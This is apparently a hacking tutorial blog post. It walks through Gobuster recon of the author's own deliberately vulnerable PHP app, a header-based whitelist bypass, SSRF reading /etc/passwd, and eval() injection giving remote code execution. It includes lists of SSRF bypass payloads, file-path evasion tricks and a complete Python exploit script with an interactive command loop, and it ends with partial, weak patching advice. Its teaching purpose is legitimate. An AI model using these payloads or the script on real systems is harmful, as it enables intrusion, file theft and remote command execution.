Recon, Vulnerable Code Assessment, Exploit Automation, Bypasses & Patching all one. (Python, PHP)

Recon, Vulnerable Code Assessment, Exploit Automation, Bypasses & Patching all one. (Python, PHP)

·

20 min read

Hello everyone, hope you are all well! Today we will be continuing our Python Hacking Series, this time however we will not be covering basics but actually utilising some of our knowledge to construct an exploit!

What will be covered?

  1. Recon
  2. Vulnerable Code
  3. Bug Types and Bypasses
  4. Automating an Exploit /PoC
  5. Patching
  6. Overview

Recon

I have built a very basic application that is vulnerable to a few things, I will post the code below and you can review it but first let's approach the application and cover some recon using Gobuster! I will use Gobuster because it's what I have on my machine currently with a custom list.

What is GoBuster?

GoBuster is a tool that looks for directories, files and Virtual Hosts, provided with a list of VHOST's or Directory and Files! it's an amazing tool written in Go.

How to install on Kali Linux?

sudo apt-get install gobuster

Syntax for directory listing and hidden files.

Gobuster dir -u $URL -w $wordlist

(dir) is the mode, in our case it stands for directory (-u) is the URL and (-w) is the wordlist.

By default on Kali Linux you can find pre-built directory listing word lists in /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt now we are going to add the (-x) flag which will give us the option to add extensions for example if we have GoBuster running on a URL like url.com we can also append extensions like .js, .php, .html so now it'll look like url.com/test < directory, url.com/test.php < appending the extension we added with the (-x) flag.

Full Syntax:

gobuster dir -u 0day.fun -w wordlist.txt -x php, html, xml, js, css

image.png

Note this ran quick as I have intentionally created a wordlist that has the stuff we're looking for but in real-life cases, the wordlist I gave above will also work fine!

image.png

As you see I am grepping for Blog in the default wordlist that comes with Kali Linux and it contains Blog by default.

Now we have discovered the Blog Directory let's further scan on that using the same syntax except appending /Blog to the URL E.g. url.com/Blog

image.png

We see a page called bypass.php which is also in the default wordlist by default as bypass, of course, .php was appended because of the (-x) values.

Let's view the following URL: 0day.fun/Blog/bypass.php

image.png

We are greeted with a "401" what does this mean?

401 is a Client HTTP Error Status Code Response. This is an unauthorised error which means it may require credentials however we do not see any kind of authentication here. In this case, I would usually fuzz for parameters as we can tell it's not using Basic Auth as there was no login prompt.

However, I am going to get the code for this page and show you what the issue is here while also giving you tips on how to bypass these blindly without the code.

Vulnerable Code, Bug Types and Bypasses,

<?php 

$whitelist = array("127.0.0.1", "1.3.3.7");

if(!(in_array($_SERVER['HTTP_X_FORWARDED_FOR'], $whitelist)))
{
    header("HTTP/1.1 401 Unauthorized");
}
else 
{
  print("Hello Developer team! As you know we are working on building a way for users to see website pages in real page but behind our own Proxies!");
    $location=$_GET['url']; // Get the URL from the user.
    $curl = curl_init();
    curl_setopt ($curl, CURLOPT_URL, $location); // Not validating the input. Trusting the location variable
    curl_exec ($curl); 
    curl_close ($curl);

}

?>

The first thing to spot is there is an array.

What is an array?

Arrays in PHP is a type of data structure that allows us to store multiple elements of similar data types under a single variable.

$whitelist = array("127.0.0.1", "1.3.3.7");

We have defined a variable called whitelist which has the value of an array containing two float numbers one 127.0.0.1 which is our localhost and 1.3.3.7 which is as some may know l33t in numbers just adding decimals making it a float.

A float is simply a number with decimals!

if(!(in_array($_SERVER['HTTP_X_FORWARDED_FOR'], $whitelist)))
{
    header("HTTP/1.1 401 Unauthorized");
}

This code is using an if statement which is saying if the X-Forwarded-For header is either set and does not have the value of one of the float numbers from the whitelist variable(array) then show an HTTP 401 Unauthorized

In PHP we use ! as saying False and $_SERVER as $_SERVER is an array containing information such as headers, paths, and script locations. The entries in this array are created by the webserver.

HTTP_X_FORWARDED_FOR is a header called X-Forwarded-For

What is a HEADER? Depending on the header they can do different actions for example X-Forwarded-Host: could be used to forward a connection to a different host.

However, the above code is vulnerable. Why and how?

if(!(in_array($_SERVER['HTTP_X_FORWARDED_FOR'], $whitelist)))
{
    header("HTTP/1.1 401 Unauthorized");
}

Firstly it is comparing the values of the X-Forwarded-For header to the array thus if we set the X-Forwarded-For header with a value of 127.0.0.1 then this will return true. Instead, it should be checking it against the REMOTE_ADDR however we will get to patching later, for now, let's try bypassing this!

I am going to be using Burp Suite to intercept the HTTP/HTTPS Request Traffic thus allowing us to modify values sent between the client and server.

image.png

image (1).jpg

As you see I have added the header and value to the request, once I sent the request we successfully bypassed the whitelist.

However, this is with understanding what the backend is doing how can we bypass this without knowing the source code?

Well.

You can try some of the following HTTP Headers

X-Forwarded-For: X-Originating-IP: X-Remote-IP: X-Remote-Addr: X-Client-IP:

These are the most common HTTP Headers developers will check as they will set up these kinds of applications they're developing but will require the developers to go through a proxy or localhost if they're working from the host so they use these insecure methods thus if we get the IP's we're checking against then we can easily bypass these protections put in place. An example:

$whitelist = array("127.0.0.1", "1.3.3.7");

if(!(in_array($_SERVER['HTTP_X_CLIENT-IP'], $whitelist)))
{
    header("HTTP/1.1 401 Unauthorized");
}

Simply setting the X-Client-IP header with the value of the array would bypass this now on Burp Suite there is an intruder section this allows you to send multiple requests I suggest you do this on all local IPs Addresses with all HTTP Headers from above this will have a higher chance of success. I will not cover that in today's blog however, I will link you to a Blog about intruder in Burp Suite. Intruder Burp Suite

Let's review the rest of the code.

<?php 

$whitelist = array("127.0.0.1", "1.3.3.7");

if(!(in_array($_SERVER['HTTP_X_FORWARDED_FOR'], $whitelist)))
{
    header("HTTP/1.1 401 Unauthorized");
}
else 
{
  print("Hello Developer team! As you know we are working on building a way for users to see website pages in real page but behind our own Proxies!");
    $location=$_GET['url'']; 
    $curl = curl_init();
    curl_setopt ($curl, CURLOPT_URL, $location);
    curl_exec ($curl); 
    curl_close ($curl);

}

?>

Here we continue by using the "else" statement which is basically saying if the above code doesn't return False just run anything after the else statement.

$location=$_GET['url'];

Get's the URL from the user in a location variable.

$_GET['url']; is defining a HTTP Get Variable with the parameter url so for example url.com/Blog/bypass.php?url=

$curl = curl_init();

We have a variable defined called curl which has the value of curl_init();

What is cURL in PHP? This library allows us to make HTTP requests in PHP. You can make GET, POST, and HEAD requests to the server, retrieve HTTP headers, download HTML pages, upload files, submit forms, and more.

An example of retreiving a web page using the cURL Libary

<?php
curl_setopt_array(
$ch, array(
CURLOPT_URL => 'http://www.website.com/',
CURLOPT_RETURNTRANSFER => true
));

$output = curl_exec($ch);
echo $output;

CURLOPT_URL specifics

CURLOPT_RETURNTRANSFER when set to false or true curl_exec() will return true or false. In our case it is true. If it is true and the request is successful then curl_exec() will show the contents of the page.

$output = curl_exec($ch);
echo $output;

Simply stores the output in an output variable and then echos the output.

Let's get back to looking at the code we're dealing with now.

curl_init();

Is simply initializing a cURL session

curl_setopt ($curl, CURLOPT_URL, $location);

In our case right here we are using curl_setopt() function which allows us to parse and set URL manually. The problem here is it is trusting the value of the location variable which we can manipulate.

You see the issue here is having complete control over the location variable and because there is no sanitization or checks in place it is trusting the user input thus we can now send requests to the internal service.

curl_exec ($curl); 
curl_close ($curl);

Executes the request and then closes the session.

This vulnerability is known as SSRF

What is SSRF?

SSRF is a vulnerability type that occurs when we can reach internal services such as localhost we can perform recon such as seeing what ports are open on a network by connecting and watching the output (banner grabbing) this is known as XSPA which can be a chain.

The main key here is we can send server-side requests to the internal network. I suggest testing this on URL call backs, web hook locations and pretty much anything you can. Do not get confused between ESI (External Service Interaction) this has two types DNS and HTTP this isn't impactful nor is it SSRF!

Let's give that ago.

image.png

We successfully can reach the internal network externally. Now there is more impact to this. When the open_basedir is not set in the cURL Request we can actually use the file:/// protocol allowing us to read internal files such as /etc/passwd now in our case there is no filter but quite often there will be especially if they intentionally had this option allowed. I will put a few common bypasses below but first, let's exploit this and read the internal files.

blur.png

You could now enumerate the system for SSH Keys and more, however, we will not be doing that. We will be now enumerate the /var/www/html/Blog or /var/www/Blog directories for more files that may be vulnerable.

SSRF Bypasses

http://127.0.0.1:80 http://127.0.0.1:443 http://127.0.0.1:22 http://127.1:80 http://0 http://0.0.0.0:80 localhost:80 http://[::]:80/ http://[::]:25/ SMTP http://[::]:3128/ Squid http://[0000::1]:80/ http://[0:0:0:0:0:ffff:127.0.0.1]/thefile http://①②⑦.⓪.⓪.⓪

CDIR bypass

http://127.127.127.127 http://127.0.1.3 http://127.0.0.0

Decimal bypass

http://2130706433/ = http://127.0.0.1 http://017700000001 = http://127.0.0.1 http://3232235521/ = http://192.168.0.1 http://3232235777/ = http://192.168.1.1

Hexadecimal bypass

127.0.0.1 = 0x7f 00 00 01 0x7f000001 = http://127.0.0.1 0xc0a80014 = http://192.168.0.20

HT. :)

When using the file:// protocol some stuff like /etc/passwd may be blocked so you can do bash evasion.

Bash Evasion Tricks

$u /etc$u/passwd$u

If $u doesn't exist it'll be treated as an empty string

/et*/pawd**

Single and Double quotes can be used

/e"tc"/pa"ss"wd

However the above is not going to work using the file:// protocol, these are more for Command Injection/LFI Cases.

Keep an eye for the following functions which could lead to code exec

system(); exec(); pcntl_exec(); shell_exec(); open(); ioctl_exec();

Further recon we see there is a file called test.php

[root@tilix /var/www/html/Blog]$ gobuster dir -u http://0day.fun/Blog/ -w wordlist.txt -x php, js, css, xml, jpg
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://0day.fun/Blog/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                wordlist.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              php,
[+] Timeout:                 10s
===============================================================
2021/11/07 13:30:30 Starting gobuster in directory enumeration mode
===============================================================
/bypass.php           (Status: 401) [Size: 0]
/test.php             (Status: 401) [Size: 0]

===============================================================
2021/11/07 13:30:32 Finished
===============================================================

Let's view the contents of that file using the SSRF.

GET /Blog/bypass.php?url=file:////var/www/html/Blog/test.php HTTP/1.1
Host: 0day.fun
X-Forwarded-For: 127.0.0.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Connection: close

Request

Output:

HTTP/1.1 200 OK
Date: Sun, 07 Nov 2021 13:33:37 GMT
Server: Apache/2.4.50 (Debian)
Vary: Accept-Encoding
Content-Length: 372
Connection: close
Content-Type: text/html; charset=UTF-8

Hello Developer team! As you know we are working on building a way for users to see website pages in real page but behind our own Proxies!<?php

$whitelist = array("127.0.0.1", "1.3.3.7");

if(!(in_array($_SERVER['HTTP_X_FORWARDED_FOR'], $whitelist)))
{
    header("HTTP/1.1 401 Unauthorized");
}
else 
{
   $f = @$_GET['call'];
   eval("\$y = \"$f\";");
   echo $x;
}
?>

image.png

Here we can do the same bypass so we will not cover that however we see this really interesting eval() function.

$f = @$_GET['call'];
eval("\$y = \"$f\";");
echo $x;
$f = @$_GET['call'];

Firstly we define a variable called f which has the value of another GET HTTP Variable called call url.com/Blog/test.php?call=

eval("\$p = \"$f\";");

Secondly we're using eval() function eval()Evaluates a string as PHP code. The interesting thing here is we can actually break out of the string delimiters and let our own code get ran thus giving us code execution.

Firstly if we parse url.com/Blog/test.php?call=hello

Eval will look something like this

$p = "hello";

However, if we place a double quote " and a semicolon ; we will actually break out of the string

$p = "";

Now we can execute anything we want giving us RCE (Remote Code Execution)

/Blog/test.php?call=";%20system("whoami");//

We use "//" to comment out the rest of the code so our code just runs instead! :)

image.png

In some cases like here where I am using a PHP Web Server running as root we are automatically root as the process was running with Sudo privileges but in the regular case, we're www-data.

image.png

Basic Python Automation

import requests, time, os
print("Options: 1: Whitelist URL Bypass, 2: SSRF+Internal File Access, 3: Code Execution")
option = int(input("Option:"))
if option == 1:
    os.system("clear")
    time.sleep(1)
    print("Welcome to the URL Whitelist Bypass!\n")
    try:
        url = input("URL:")
        bypass_header={"X-Forwarded-For":"127.0.0.1"}
        r = requests.post(url, headers=bypass_header)
        if r.status_code == 200:
            print("Successfully Bypassed Whitelist \nHave fun!")
            exit()
        elif r.status_code == 401:
            print("Something went wrong, try a different header!")
    except requests.exceptions.ConnectionError:
            print("An Connection Error occured, try again ensuring you typed the URL Correctly.")
    except requests.exceptions.MissingSchema:
        print("Please specifcy a valid protocol 'HTTP', 'HTTPS'")
elif option == 2:
    os.system("clear")
    time.sleep(1)
    print("Welcome to the SSRF Exploit where you can read internal files.")
    url = input("URL:")
    while True:
        try:
            cmd = input("$ ")
            if cmd == "":
                print("Enter a valid value")
            else:
                bypass_header={"X-Forwarded-For":"127.0.0.1"}
                r = requests.get(url+"?url="+cmd, headers=bypass_header)
                if r.status_code == 200:
                    print(r.content)
                else:
                    print("Something went wrong!")
        except requests.exceptions.ConnectionError:
            print("Connection Error occured!")
        except requests.exceptions.MissingSchema:
            print("Enter a valid URL Protocol 'HTTP', 'HTTPS'")

elif option == 3:
    os.system("clear")
    print("Welcome to the Code Execution.")
    url = input("URL:")
    while True:
        try:
            cmd = input("$ ")
            cmd1 = f'"; echo exec({cmd}); //'
            bypass={"X-Forwarded-For":"127.0.0.1"}
            shell_output = requests.get(url+"?call=" +cmd1, headers=bypass)
            if shell_output.status_code == 200:
                print(shell_output.text)
            elif shell_output.status_code == 404:
                print("Page not found!")
            else:
                print(shell_output.status_code)
        except requests.exceptions.ConnectionError:
            print("Connection Error occured!")
        except requests.exceptions.MissingSchema:
            print("Enter a valid URL Protocol 'HTTP', 'HTTPS'")

Firstly we import three modules

A lot of this code you can read by yourself from my previous blogs so I will cover a bit of the stuff we haven't covered or need to touch upon.

option = int(input("Option:"))
if option == 1:
    os.system("clear")
    time.sleep(1)
    print("Welcome to the URL Whitelist Bypass!\n")

Firstly we create an option variable which has the value to an input this specific input only allows integers as its type (int)

if option == 1:

We start an if statement and say if the user inputs the value has one in the option variable to do this and in our case this is clearing the screen firstly using the OS module.

The OS Module allows us to run OS Commands on a machine.

We then use time.sleep() function which is allowed because of the time module.

Then we use the print() function.

try:
        url = input("URL:")
        bypass_header={"X-Forwarded-For":"127.0.0.1"}
        r = requests.post(url, headers=bypass_header)
        if r.status_code == 200:
            print("Successfully Bypassed Whitelist \nHave fun!")
            exit()
        elif r.status_code == 401:
            print("Something went wrong, try a different header!")
    except requests.exceptions.ConnectionError:
            print("An Connection Error Occured, try again ensuring you typed the URL Correctly.")
    except requests.exceptions.MissingSchema:
        print("Please specifcy a valid protocol 'HTTP', 'HTTPS'")
try:
        url = input("URL:")
        bypass_header={"X-Forwarded-For":"127.0.0.1"}
        r = requests.post(url, headers=bypass_header)

We define a try statement which we have covered previously so we can handle errors using except().

I will skip on variables from now on unless they contain something I have not covered but for now you can read them and realise what their usage is.

bypass_header={"X-Forwarded-For":"127.0.0.1"}

We create a variable called bypass_header which is set out in an array-like format which has the value of the X-Forwarded-For: header and the value 127.0.0.1 we use this because we will be bypassing the white list we will be using this multiple times so I will only explain this once through-out the blog.

r = requests.post(url, headers=bypass_header)

Here we're setting a response variable called r which sends a post request using the requests module. It sends the URL which it is getting from that input() function stored in the variable url and then its passing the headers which is actually going to be setting the headers we parse in our case we parse the variable we defined above which contains the X-Forwarded-For header.

if r.status_code == 200:
            print("Successfully Bypassed Whitelist \nHave fun!")
            exit()
        elif r.status_code == 401:
            print("Something went wrong, try a different header!")
    except requests.exceptions.ConnectionError:
            print("An Connection Error Occured, try again ensuring you typed the URL Correctly.")
    except requests.exceptions.MissingSchema:
        print("Please specifcy a valid protocol 'HTTP', 'HTTPS'")

Here we are using an if statement to check if the r.status_code is returning 200 now this means that the response variable we defined earlier is checking the status code returned from the URL and if its 200 we're going to inform the user and use the exit() function to exit the application.

The elif statement is straight forward its doing the same thing except printing a different message and checking for a different status code.

except requests.exceptions.ConnectionError:
            print("An Connection Error Occured, try again ensuring you typed the URL Correctly.")
    except requests.exceptions.MissingSchema:
        print("Please specifcy a valid protocol 'HTTP', 'HTTPS'")

Here we are using the except() for error handling in this case if the request fails and returns a ConnectionError then we'll show the user an error message via the print() function.

except requests.exceptions.MissingSchema:

Just check if the HTTP/HTTPs Protocol has been set as it is a requirement to send the request successfully through the requests module.

That is the first part of the code done! The Whitelist Bypass, simple right?

Part two

elif option == 2:
    os.system("clear")
    time.sleep(1)
    print("Welcome to the SSRF Exploit where you can read internal files.")
    url = input("URL:") ##I will not cover the above because we have already covered it in the first part of this code explanation.
    while True:
        try:
            cmd = input("$ ")
            if cmd == "":
                print("Enter a valid value")
            else:
                bypass_header={"X-Forwarded-For":"127.0.0.1"}
                r = requests.get(url+"?url="+cmd, headers=bypass_header)
                if r.status_code == 200:
                    print(r.content)
                else:
                    print("Something went wrong!")
        except requests.exceptions.ConnectionError:
            print("Connection Error occured!")
        except requests.exceptions.MissingSchema:
            print("Enter a valid URL Protocol 'HTTP', 'HTTPS'")

Here we have something similar so I will not cover everything now try to read it and understand it by yourself. I will not cover the exceptions, nor the bypass_header.

while True:
        try:
            cmd = input("$ ")
            if cmd == "":
                print("Enter a valid value")

Here we're using a while True loop which means it is always True until we exit. Meaning it will just loop anything inside. I haven't covered this so let's look at an example.

name = input("What is your name?:")
while True:
   print("Hello", name)

This will print Hello and the value of the name variable until they exit the application using Keyboard Interrupt.

We can also parse it conditions E.g.

name = input("What is your name?:")
while (name):
   print("Hello", name)

(name) being the condition.

image.png

Now we understand that its a never-ending loop we will be using this so they can continuously send commands.

while True:
        try:
            cmd = input("$ ")
            if cmd == "":
                print("Enter a valid value")

Here we're defining the try statement and once again for error handling.

We then define a variable called cmd value of an input() function now this input() function will actually be sending commands to the web server, how cool is that?

            if cmd == "":
                print("Enter a valid value")

Just defines an if statement and checks if cmd is null ("") if so it prints enter a valid value.

Now because we defined an if statement we will most likely be using an else or elif statement so let's look at the rest of the second part.

            else:
                bypass_header={"X-Forwarded-For":"127.0.0.1"}
                r = requests.get(url+"?url="+cmd, headers=bypass_header)
                if r.status_code == 200:
                    print(r.content)
                else:
                    print("Something went wrong!")
        except requests.exceptions.ConnectionError:
            print("Connection Error occured!")
        except requests.exceptions.MissingSchema:
            print("Enter a valid URL Protocol 'HTTP', 'HTTPS'")
          bypass_header={"X-Forwarded-For":"127.0.0.1"}
          r = requests.get(url+"?url="+cmd, headers=bypass_header)

Here we're defining another response variable and the value is sending a GET Request to the URL Variable we defined earlier.

r = requests.get(url+"?url="+cmd, headers=bypass_header)

But what is "?url=" doing you may ask? Well its appending the vulnerable GET HTTP Paramater so the user doesn't have to type the URL+Param.

+cmd is parsing the cmd variable values which will be appended onto the URL parameter

E.g.

url.com/Blog/test.php?url=i%20sent%20this%2.. and the %20 is a URL Encoded space which the requests module will automatically send in the background.

headers=bypass_heade just adding the headers so we can bypass the whitelist.

if r.status_code == 200:
                    print(r.content)

If the status code returns 200 then we will see the output which should be either some HTML/PHP etc or files from the file:/// protocol.

                else:
                    print("Something went wrong!")
        except requests.exceptions.ConnectionError:
            print("Connection Error occured!")
        except requests.exceptions.MissingSchema:
            print("Enter a valid URL Protocol 'HTTP', 'HTTPS'"

Error handling is explained above.

End of second option

elif option == 3:
    os.system("clear")
    print("Welcome to the Code Execution.")
    url = input("URL:")
    while True:
        try:
            cmd = input("$ ")
            cmd1 = f'"; echo exec({cmd}); //'
            bypass={"X-Forwarded-For":"127.0.0.1"}
            shell_output = requests.get(url+"?call=" +cmd1)
            if shell_output.status_code == 200:
                print(shell_output.text)
            elif shell_output.status_code == 404:
                print("Page not found!")
            else:
                print(shell_output.status_code)
        except requests.exceptions.ConnectionError:
            print("Connection Error occured!")
        except requests.exceptions.MissingSchema:
            print("Enter a valid URL Protocol 'HTTP', 'HTTPS'")
   cmd = input("$ ")
   cmd1 = f'"; echo exec({cmd}); //'

Some may be like what the...

Well, this is for the code execution so if you remember we're exploiting eval and need to escape the strings. There is many ways we can do this and we could let the user manually type the payload, however, I didn't want them to constantly have to type "; echo exec("whoami"); //

The above code creates a two variables one called cmd which has an input() function the other called cmd1 which has an f string

What is an F String?

F-strings provide a way to embed expressions inside string literals

Now we could've used .add however, I wanted to save that for a few more blogs.

   cmd1 = f'"; echo exec({cmd}); //'

Here we define an if a string with a single quote so we can end the string delimiters using a double quote else it would end the F string if we had done double quotes.

We now are appending "; echo exec(); // around our previous cmd so when we send whoami it will actually look like this "; echo exec(our_cmd); //

In case you still do not understand we basically have a pre-made string that is meant for exploiting that vulnerable eval() function and we are simply just appending our cmd to it and sending that to the server.

Now just to note this is in a while True loop so it will never exit allowing us to keep sending commands.

 bypass={"X-Forwarded-For":"127.0.0.1"}
            shell_output = requests.get(url+"?call=" +cmd1)
            if shell_output.status_code == 200:
                print(shell_output.text)

You know everything here but you may be confused.

  shell_output = requests.get(url+"?call=" +cmd1)

The response variable is called shell_output for the third section not r and this sends a GET Request appending ?call= HTTP Get Variable onto the URL + our cmd1 which will include the user's command and wrap it in the exec() PHP Function which allows us to execute system commands same as system()

If the status code returns 200 it will print out the response text which will be system files etc depending on the user's command.

            elif shell_output.status_code == 404:
                print("Page not found!")
            else:
                print(shell_output.status_code)
        except requests.exceptions.ConnectionError:
            print("Connection Error occured!")
        except requests.exceptions.MissingSchema:
            print("Enter a valid URL Protocol 'HTTP', 'HTTPS'")

This is error handling.

Now there will be a video of me running the code above and exploiting the RCE/SSRF Vulnerabilities.

Patching

Firstly none of this would have happened if we weren't able to bypass the white list, so let's fix that.

<?php

$whitelist = array("127.0.0.1", "1.3.3.7");

if(!(in_array($_SERVER['REMOTE_ADDR'], $whitelist)))
{
    header("HTTP/1.1 401 Unauthorized");
}
else 
{
   $f = @$_GET['call'];
   eval("\$y = \"$f\";");
   echo $x;
}
?>

Now it compares the REMOTE_ADDR to the whitelist which is their IP Address not the X-Forwarded-For value.

Now for the SSRF it would simply be not trusting the location variable so adding some sanitization/filters and some blacklists too, then setting open_basedir which will prevent using the file:// protocol.

The eval() function can be secure in numerous ways, that would be something I can blog in the future. I would suggest evaluating the code inside of a VM. I also seen a quick article while writing this blog or stack overflow that covered preventing the vulnerability we exploited earlier.

1 $value = eregi_replace("[ \t\r]","",$value);
2 $value = addslashes($value);
3 $value = ereg_replace("[A-z0-9_][\(]","-",$value);
4 $value = ereg_replace("[\$]","-",$value);
5 @eval("\$val = $value;");

Reference: stackoverflow.com/questions/17645141/safely..

Overview

I believe that's all, I was going to add filters and a few other things however I didn't find the time so here is a quick blog I wrote in 3-4 Hours.

I can appreciate the code was horrible, but its for beginners to understand.

It covered a lot of practical skills but also just stuff that can show you how easily real-life applications can be exploited if they have these functions and libraries in place trusting user input.

Social Medias

Twitter: twitter.com/0SPwn

Thanks! As usual a follow is always appreciated :)